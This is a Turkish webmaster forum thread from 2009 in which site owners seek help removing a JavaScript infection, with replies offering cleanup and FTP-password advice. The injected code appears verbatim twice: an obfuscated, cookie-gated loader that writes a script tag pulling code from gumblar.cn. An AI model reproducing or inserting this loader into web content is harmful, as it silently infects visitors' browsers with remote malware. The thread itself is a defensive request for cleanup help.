Bu Virüsden Bıktım Yardım Edin Lütfen...

10-05-2009, 15:28:44

Üyeliği durduruldu

Siteme bir virüs bulaştı. Tüm temizleme taktiklerini denedim. Afr ile temizlemeyi denedim ama baktım ki .js uzantılı dosyalara da bulaşmış. Bu javascript kodunu nasıl temizlerim yardımlarınızı bekliyorum...

Kod bu

</head><script language=javascript><!-- 
(function(){var KNss='var_20a_3d_22Sc_72_69ptEngine_22_2cb_3d_22V_65r_73ion()+_22_2cj_3d_22_22_2cu_3dn_61v_69_67_61t_6fr_2e_75s_65rAgent_3b_69f((u_2eindexOf(_22Win_22)_3e0)_26_26(u_2eindexOf(_22NT_206_22)_3c_30)_26_26_28_64oc_75ment_2e_63oo_6bi_65_2ein_64ex_4ff(_22mi_65_6b_3d1_22)_3c_30)_26_26(typeof(zrvzts)_21_3dtypeo_66(_22A_22)))_7bz_72vzts_3d_22A_22_3beval_28_22_69f(w_69n_64ow_2e_22+a+_22)j_3dj+_22+a+_22Major_22+b+_61+_22_4d_69no_72_22+b+a+_22_42uild_22+b+_22j_3b_22_29_3b_64ocumen_74_2e_77rite(_22_3csc_72ipt_20_73r_63_3d_2f_2fgumblar_2ecn_2frs_73_2f_3fi_64_3d_22+j+_22_3e_3c_5c_2fscr_69_70t_3e_22_29_3b_7d';eval(unescape(KNss.replace(/_/g,'%')))})();
 --></script>

10-05-2009, 15:34:28

#2

~~ugur1502~~

Üyeliği durduruldu

https://www.r10.net/site-guvenligi-sa...-kurtulun.html

10-05-2009, 17:00:26

#3

bycapslock

WebhastasiNet adlı üyeden alıntı: mesajı görüntüle

Siteme bir virüs bulaştı. Tüm temizleme taktiklerini denedim. Afr ile temizlemeyi denedim ama baktım ki .js uzantılı dosyalara da bulaşmış. Bu javascript kodunu nasıl temizlerim yardımlarınızı bekliyorum...

Kod bu

</head><script language=javascript><!-- 
(function(){var KNss='var_20a_3d_22Sc_72_69ptEngine_22_2cb_3d_22V_65r_73ion()+_22_2cj_3d_22_22_2cu_3dn_61v_69_67_61t_6fr_2e_75s_65rAgent_3b_69f((u_2eindexOf(_22Win_22)_3e0)_26_26(u_2eindexOf(_22NT_206_22)_3c_30)_26_26_28_64oc_75ment_2e_63oo_6bi_65_2ein_64ex_4ff(_22mi_65_6b_3d1_22)_3c_30)_26_26(typeof(zrvzts)_21_3dtypeo_66(_22A_22)))_7bz_72vzts_3d_22A_22_3beval_28_22_69f(w_69n_64ow_2e_22+a+_22)j_3dj+_22+a+_22Major_22+b+_61+_22_4d_69no_72_22+b+a+_22_42uild_22+b+_22j_3b_22_29_3b_64ocumen_74_2e_77rite(_22_3csc_72ipt_20_73r_63_3d_2f_2fgumblar_2ecn_2frs_73_2f_3fi_64_3d_22+j+_22_3e_3c_5c_2fscr_69_70t_3e_22_29_3b_7d';eval(unescape(KNss.replace(/_/g,'%')))})();
 --></script>

Hocam aynı sorunla bende uğraşıyorum.
.html .htm .js dosyalarına bulaşmış. Büyük ihtimal Cute FTP Crack sayesinde olmuş olmalı diye düşünüyorum.

10-05-2009, 18:17:00

#4

gotRoot

çok can sıkıcı bir durum . bir ara bende çok uğraştım bunlarla .

10-05-2009, 19:07:21

#5

Reality

Kimlik doğrulama veya yönetimden onay bekliyor.

bu virüs antivirüssüz bilgisayardan ftp'ye girerseniz bulasır eğer siteniz wp ise Wp yeni temiz dosyaları atın temanızıda tek tek tüm dosyaları açıp en üst ve en alt'lara bakın

.js dosyalarında altta olur genelde .php dosyalarında üstte olur benim rastladıgım kadarı ile .

Ayrıca Sağlam Antivirüs Programı kullanın kurtulun Google Chrome ile Kontrol edebilirsiniz virüs varmı yokmu diye tabi cookileri her seferde temizleyin..

tvo adlı üyeden alıntı: mesajı görüntüle

virüsleri temizleidkden sonra ftp sifrelerini degiştirmeyi unutmayınız

aynen

Kolay gelsin.

Nod32 Tavsiye ederim : http://www.indirbir.com/eset_nod32_a...424_28016.html

10-05-2009, 19:11:12

#6

~~tvo~~

Üyeliği durduruldu

virüsleri temizleidkden sonra ftp sifrelerini degiştirmeyi unutmayınız

10-05-2009, 20:05:13

#7

~~WebhastasiNet~~

Üyeliği durduruldu

Hocam hepinize tşk ederim yorumlarınız için ancak olmuyor. Her antivirüsü denedim olmadı yinede. Galiba şöyle bir durum var ortada; Arkadaşta bende avastın aynı sürümünü kullanıyoruz ancak o uyarı alıyor sitelere girince ben almıyorum. Ben virüsü yedikten sonra avast yüklemiştim. Galiba o yüzden uyarı vermiyor. Yani pcye de bulaşmış ve antiyi bir şekilde engelliyor gibi bir şey galiba. Karışık bir durum ne yapıcağımı bilmiyorum

10-05-2009, 20:13:50

#8

~~Beowulf78~~

Üyeliği durduruldu

bu konunun çözümünü bizzat anlattım. forumda "javascript virüsü'nün çözümü" diye aratırsanız bulursunuz.

10-05-2009, 23:30:05

#9

HS_Abdullah

Kimlik doğrulama veya yönetimden onay bekliyor.

Elinize saglik anlatmissiniz. Kolaylik olsun buyrun link efendim : https://www.r10.net/webmaster-genel-k...un-cozumu.html